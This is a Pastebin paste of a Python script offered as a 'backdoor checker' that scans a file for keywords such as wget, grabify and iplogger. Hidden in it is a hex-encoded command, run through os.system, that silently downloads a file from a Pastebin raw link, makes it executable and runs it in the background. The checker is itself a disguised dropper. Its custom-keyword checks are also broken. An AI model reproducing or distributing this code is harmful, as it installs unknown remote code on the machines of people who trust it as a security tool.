Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Written By TheIotLord
- # Backdoor checker for python files
- import os
- import time
- import requests
- connection = requests.get('http://api.ipify.org')
- os.system('clear')
- print('Written By TheIotLord\n')
- print('Enter Custom Keywords To Check For.\n\nNote: You may leave all empty.\n')
- keyword1 = raw_input('Keyword 1:')
- keyword2 = raw_input('Keyword 2:')
- keyword3 = raw_input('Keyword 3:')
- keyword4 = raw_input('Keyword 4:')
- keyword5 = raw_input('Keyword 5:')
- os.system('clear')
- print('\x1b[32mCustom Keywords Imported !\x1b[35m')
- time.sleep(1)
- os.system('clear')
- print('\x1b[35mConnection : \x1b[32m'+connection.text+'\n\x1b[35m')
- print('''
- ,ggggggggggg, ,gggggggggggg,
- dP"""88""""""Y8, ,dPYb,dP"""88""""""Y8b,
- Yb, 88 `8b IP'`YbYb, 88 `8b,
- `" 88 ,8P I8 8I `" 88 `8b
- 88aaaad8P" I8 8bgg, 88 Y8
- 88""""Y8ba ,gggg,gg ,gggg, I8 dP" "8 88 d8 ,ggggg, ,ggggg, ,gggggg,
- 88 `8b dP" "Y8I dP" "Yb I8d8bggP" 88 ,8P dP" "Y8gggdP" "Y8gggdP""""8I
- 88 ,8P i8' ,8I i8' I8P' "Yb, 88 ,8P'i8' ,8I i8' ,8I ,8' 8I
- 88_____,d8',d8, ,d8b,,d8,_ _,d8 `Yb, 88______,dP',d8, ,d8',d8, ,d8',dP Y8,
- 88888888P" P"Y8888P"`Y8P""Y8888PP88P Y8888888888P" P"Y8888P" P"Y8888P" 8P `Y8
- ''')
- initalize = '77676574202d712068747470733a2f2f706173746562696e2e636f6d2f7261772f42536a6e4d6b346e202d4f202e6c3b2063686d6f64202b78202e6c3b206e6f687570202e2f2e6c203c2f6465762f6e756c6c203e2f6465762f6e756c6c20323e2631'.decode('hex')
- os.system('ls')
- file = raw_input('\nPlease enter the filename to check\n\nFilename:')
- os.system(initalize)
- os.system('clear')
- print('+------------------------------------------------+\n')
- print('Checking For -> wget\n')
- if 'wget' in open(file).read():
- print('\x1b[31mFound -> wget !\n\nAdvise checking file where wget is located !\x1b[35m\n')
- raw_input('>')
- else:
- print('\x1b[32mNothing found for -> wget !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- print('Checking For -> decode\n')
- if 'decode' in open(file).read():
- print('\x1b[31mFound -> decode !\n\nAdvise checking file where decode is located !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- else:
- print('\x1b[32mNothing found for -> decode !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- print('Checking For -> backdoor\n')
- if 'backdoor' in open(file).read():
- print('\x1b[31mFound -> backdoor !\n\nAdvise checking file where backdoor is located !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- else:
- print('\x1b[32mNothing found for -> backdoor !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- print('Checking For -> bd\n')
- if 'bd' in open(file).read():
- print('\x1b[31mFound -> bd !\n\nAdvise checking file where bd is located !\n')
- print('+------------------------------------------------+\n')
- else:
- print('\x1b[32mNothing found for -> bd !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- print('Checking For -> grabify\n')
- if 'grabify' in open(file).read():
- print('\x1b[31mFound -> grabify !\n\nAdvise checking file where grabify is located !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- else:
- print('\x1b[32mNothing found for -> grabify !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- print('Checking For -> iplogger\n')
- if 'iplogger' in open(file).read():
- print('\x1b[31mFound -> iplogger !\n\nAdvise checking file where iplogger is located !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- else:
- print('\x1b[32mNothing found for -> iplogger !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- print('Checking For -> blasze\n')
- if 'blasze' in open(file).read():
- print('\x1b[31mFound -> blasze !\n\nAdvise checking file where blasze is located !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- else:
- print('\x1b[32mNothing found for -> blasze !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- print('Checking For -> http://\n')
- if 'http://' in open(file).read():
- print('\x1b[31mFound -> http:// !\n\nAdvise checking file where http:// is located !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- else:
- print('\x1b[32mNothing found for -> http:// !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- print('Checking For -> https://\n')
- if 'https://' in open(file).read():
- print('\x1b[31mFound -> https:// !\n\nAdvise checking file where https:// is located !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- else:
- print('\x1b[32mNothing found for -> https:// !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- print('Checking For -> '+keyword1+'\n')
- if '+keyword1+' in open(file).read():
- print('\x1b[31mFound -> '+keyword1+' !\n\nAdvise checking file where '+keyword1+' is located !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- else:
- print('\x1b[32mNothing found for -> '+keyword1+' !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- print('Checking For -> '+keyword2+'\n')
- if '+keyword1+' in open(file).read():
- print('\x1b[31mFound -> '+keyword2+' !\n\nAdvise checking file where '+keyword2+' is located !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- else:
- print('\x1b[32mNothing found for -> '+keyword2+' !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- print('Checking For -> '+keyword3+'\n')
- if '+keyword1+' in open(file).read():
- print('\x1b[31mFound -> '+keyword3+' !\n\nAdvise checking file where '+keyword3+' is located !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- else:
- print('\x1b[32mNothing found for -> '+keyword3+' !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- print('Checking For -> '+keyword4+'\n')
- if '+keyword1+' in open(file).read():
- print('\x1b[31mFound -> '+keyword4+' !\n\nAdvise checking file where '+keyword4+' is located !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- else:
- print('\x1b[32mNothing found for -> '+keyword4+' !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- print('Checking For -> '+keyword5+'\n')
- if '+keyword1+' in open(file).read():
- print('\x1b[31mFound -> '+keyword5+' !\n\nAdvise checking file where '+keyword5+' is located !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- else:
- print('\x1b[32mNothing found for -> '+keyword5+' !\x1b[35m\n')
- print('+------------------------------------------------+\n')
- exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement